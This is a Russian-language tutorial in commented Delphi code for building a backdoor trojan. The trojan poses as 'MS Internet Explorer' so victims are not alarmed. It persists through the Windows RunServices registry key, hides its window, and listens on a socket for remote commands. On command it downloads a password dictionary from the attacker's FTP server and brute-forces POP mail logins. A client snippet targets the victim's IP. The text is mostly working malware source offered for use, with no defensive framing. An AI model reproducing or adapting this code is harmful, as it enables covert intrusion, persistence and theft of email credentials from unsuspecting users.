Application.Title:='MS Internet Explorer';

// Назначается заголовок любых окон появившихся от твоего бэк-дора

// Вдруг возникнет какая ни будь ошибка и Юзер увидит заголовок Project1

// или что-то типа того.

// Тогда он что ни будь заподозрит, а вот заголовок MS Internet Explorer

// Ничем не насторожит J

// Затем прописываемся в реестре:

RegIni:=TRegIniFile.Create('Software');

RegIni.RootKey:=HKEY_LOCAL_MACHINE;

RegIni.OpenKey('Software', true);

RegIni.OpenKey('Microsoft', true);

RegIni.OpenKey('Windows', true);

RegIni.OpenKey('CurrentVersion', true);

// Пишемся в папке ‘Run services’, имя ключа MSIE, далее следует расположение //файла

RegIni.WriteString('RunServices', 'MSIE', Application.ExeName);

RegIni.Free;

// Делаем сокет активным

ServerSocket1.Active:=true;

var

RegIni:TRegIniFile;

var

command:String; // обьявляем переменную command строкового типа

Затем между begin и end напиши следующий код:

// Указываем что переменная command это текст полученный из сокетов.

command:=Socket.ReceiveText;

// Указываем что делать если пришёл текст upload

if command='upload' then

begin

// Компонент NMFTP1 пытается соединится с сервером

// который ему указал ты

// кстати! Вот тут и может вылезти ошибка (если ты не правильно указал адрес

// или произошёл сбой при подключнии) но ведь Юзер увидит что это ошибка

// вызвана MS Internet Explorer J и мало чего заподозрит J

NMFTP1.Connect;

// Если компонент NMFTP1 подключился то

if NMFTP1.Connected then

begin

// закачиваем файл dictionary.txt(файл с паролями) из корня фтп-сервера

// и сохраняем его под тем же именем под каким и скачали

// Первый параметр – это имя скачиваемого файла, а второй параметр указывает

// Под каким именем сохранить скаченный файл

// Сохранение происходит в той же папке где лежит трой

NMFTP1.Download('dictionary.txt','dictionary.txt');

end;

end;

// Если пришло слово brute то активировать форму BruteForm

if command='brute' then

begin

// собственно, активируется форма BruteForm

Application.CreateForm(TBruteForm, BruteForm);

end;

Var

// Создаём переменную PassStrings типа TStrings;

PassStrings:TStrings;

// Создаём переменную j числового типа.

j:Integer;

Между Begin и End; пишем:

PassStrings:=TStringList.Create;

Try

// Пытаемся загрузить файл dictionary.txt

PassStrings.LoadFromFile('dictionary.txt');

Except

// если файл загрузить не удалось то останавливаем работу программы

exit;

// ВНИМАНИЕ!!! Оператор exit не закрывает прогу, а просто останавливает её //работу!!!

end;

// Начинаем цикл от 0 до кол-ва строк в словаре - 1

for j:=0 to PassStrings.Count-1 do

begin

//Присваиваем пароль из строки с номером j

IdPOP.Password := PassStrings.Strings[j];

Try

//Пытаемся коннектится

IdPOP.Connect

Except

// Если соединится не удалось (не правильный пароль) то ничего не делаем,

// Цикл повторяется пытаясь зайти под следующим, в файле, паролем

end;

// Если коннект удался (пароль подобран)

if IdPOP.Connected then

begin

///////////////////////////////////////////////////////////////////

// Тут пишите свой код с помощью которого вам с

ообщится что пароль подобран///

////////////////////////////////////////////////////////////////////

// Отключаемся

IdPOP.Disconnect;

// Останавливаем программу

exit;

end;

end;

var

WhEvent:THandle;

begin

Application.Initialize;

ShowWindow(Application.Handle, SW_HIDE);

Form1:=TForm1.Create(nil);

Application.Run;

WhEvent:=CreateEvent(nil, true, false, 'et');

while (true) do

begin

WaitForSingleObject(WhEvent,1000);

Application.ProcessMessages;

end;

end.

// Указываем IP жертвы(IP вводим в поле Edit1)

ClientSocket1.host:=Edit1.Text;

ClientSocket1.Active:=true;

// Отправляем команду upload

ClientSocket1.SendReceiveText(‘upload’);